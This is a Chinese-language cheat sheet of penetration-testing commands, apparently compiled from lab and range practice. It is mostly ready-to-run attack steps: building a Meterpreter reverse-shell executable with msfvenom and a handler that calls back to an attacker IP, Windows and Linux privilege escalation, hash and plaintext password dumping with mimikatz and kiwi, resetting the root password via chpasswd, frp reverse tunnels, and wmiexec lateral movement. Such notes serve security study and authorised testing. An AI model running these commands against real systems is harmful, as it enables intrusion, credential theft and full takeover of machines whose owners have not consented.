前言
来来回回打了一些靶场,现在对靶场利用到的一些手段和语句进行一个记录。
某些工具的参数大小写具有区分,所以使用的时候一定要查看说明。
后期
MSF木马提权
1.木马制作
(1)msfvenom
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.21.109 lport=12345 -f exe >shell.exe #32位windows
-p, --payload < payload> 指定需要使用的payload(攻击荷载)
-f, --format < format> 指定输出格式
2.监听与交互
(1)metasplosit常规
use exploit/multi/hand #使用模块
show options #查看模块需要哪些设置
set payload windows/meterpreter/reverse_tcp #设置攻击载荷
set lhost 192.168.xx.xx #同木马一致
set lport 12345 #同木马一致
exploit / run #运行
exploit -j #后台运行
(2)metasplosit漏洞检测模板
background #回到msf操作页面
show sessions #查看命令行session
use post/multi/recon/local_exploit_suggester #漏扫模块
set session x #设置为哪一个session使用
run/ exploit #扫描
#选择合适的攻击模块
use exploit/windows/local/ms16_075_reflection_juicy #例如使用ms16_075提权
set SESSION x
run
等待提权成功
渗透测试 | 后渗透阶段之基于MSF的内网主机探测(存活、端口、服务)-腾讯云开发者社区-腾讯云 (tencent.com)
(3)路由转发
msf+proxychains组合搭建socks5隧道 - 铺哩 - 博客园 (cnblogs.com)
(4)meterpreter
Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用
run get_local_subne #路由信息
run hashdump #哈希获取
mimikatz模块
能够直接读取WindowsXP-2012等操作系统的明文密码
MSF中的 mimikatz 模块同时支持32位和64位的系统,但是该模块默认是加载32位的系统,所以如果目标主机是64位系统的话,直接默认加载该模块会导致很多功能无法使用。而且在64位系统下必须先查看系统进程列表,然后将meterpreter进程迁移到一个64位程序的进程中,才能加载mimikatz并且查看系统明文。但是在32位系统下则没有这个限制。
MSF中mimikatz模块的使用_msfmimikatz-CSDN博客
migrate PID #迁移进程到某PID的程序
load mimikatz #加载模块
help mimikatz #查看说明
#mimikatz_command模块可以让我们使用mimikatz的全部功能。
mimikatz_command -f samdump::hashes #列出密码哈希
mimikatz_command -f sekurlsa::searchPasswords #查看明文密码
wdigest #抓取wdigest证书
tspkg #抓取tspkg证书
kiwi模块
load kiwi
creds_all
#该命令可以列举系统中的明文密码
开启3389
run post/windows/manage/enable_rdp
CS
MSF和CS联动
细说——CS联动MSF_lainwith的博客-CSDN博客
cobaltstrike + proxifer
【精选】cobalt strike中socket代理进行横向渗透_cobaltstrike横向渗透_大川儿*的博客-CSDN博客
PsExec
【渗透测试笔记】之【内网渗透——横向移动:PsExec的使用】_渗透 横向移动-CSDN博客
黄金票据
内网渗透--CS伪造黄金票据与白银票据_内网渗透之白银票_Iwanturoot的博客-CSDN博客
代理搭建
1.frp+proxifier
配置frpc.ini、frps.ini
#攻击机启动frp
./frps -c frps.ini
#靶机启动frp
./frpc -c frpc.ini
frp+proxifier实现内网socks5反向代理 - 枕桃花吹长笛 - 博客园 (cnblogs.com)
2.代理思路总结
内网隧道与SOCKS代理思路总结 - anoldcat - 博客园 (cnblogs.com)
远程文件下载
1.python开启web
python -m SimpleHTTPServer 81 #python开启web,走81端口
2.文件下载命令
建议使用棱角社区
[~]#棱角 ::Edge.Forum* (ywhack.com)
sudo提权
利用任意sudo命令来提权
反弹shell
1.kali自带
/usr/share/webshells/php/php-reverse-shell.php
内核提权
#linux查看内核版本
uname -a
cat /proc/version
cat /etc/issue
cat /etc/redhat-release
lsb_release -a
#win查看内核版本
systeminfo
1.searchsploit
searchsploit -t Ubuntu 15.04
searchsploit -s Ubuntu 15.04
#查找脚本
searchsploit -x linux/local/37088.c
#查询脚本信息
cp /usr/share/exploitdb/exploits/linux/local/37088.c /root/exp.c
#下载脚本
chmod +x exp.c
gcc exp.c -o exp
./exp
#编译c脚本执行
-t 仅仅搜索漏洞标题(默认是标题和文件的路径)
-x 使用$ PAGER检查(副本)Exp
2.ms15-051提权
【内网提权】windows2008本地提权-------利用ms15-051x64.exe提权_ms15 051下载-CSDN博客
LinPEAS提权
用处:列举在Linux系统上提升特权的所有可能方法
Linux权限提升:自动化信息收集 - FreeBuf网络安全行业门户
Linux非常规提权
1.MOTD提权
利用的就是ssh进来的一些banner信息存在有root权限普通用户执行
2.rbash逃逸
它与一般shell的区别在于会限制一些行为,让一些命令无法执行
【渗透测试】--- rbash逃逸方法简述_/bin/rbash-CSDN博客
谈谈linux中那些非常规提权及其应用场景 - FreeBuf网络安全行业门户
Linux
hostname #获取服务器名
history #查看历史记录
1.获取一个交互式会话
python -c 'import pty; pty.spawn("/bin/sh")'
2.寻找提权文件
find / -type f -user root -perm -ug=x,o=w -exec ls -l '{}' \; 2>/dev/null #属主root且普通用户可执行
find / -user xxx 2>/dev/null #寻找xxx用户(高权限用户)的所有文件,不去观察报错信息,只看成功检索的
#文件内提权
echo 'root:123' | chpasswd #在文件末尾添加这一行,意思是使用chpasswd命令将root用户的密码修改为123
windows
#查看网络连接
arp -a
ipconfig /all
#administrator提升到system
getsystem
1..net文件解密
反编译dll文件查看源代码
2.WMIexec内网移动
#wmiexec获取半交互shell
.\wmiexec_windows.exe 用户名:密码@192.168.21.33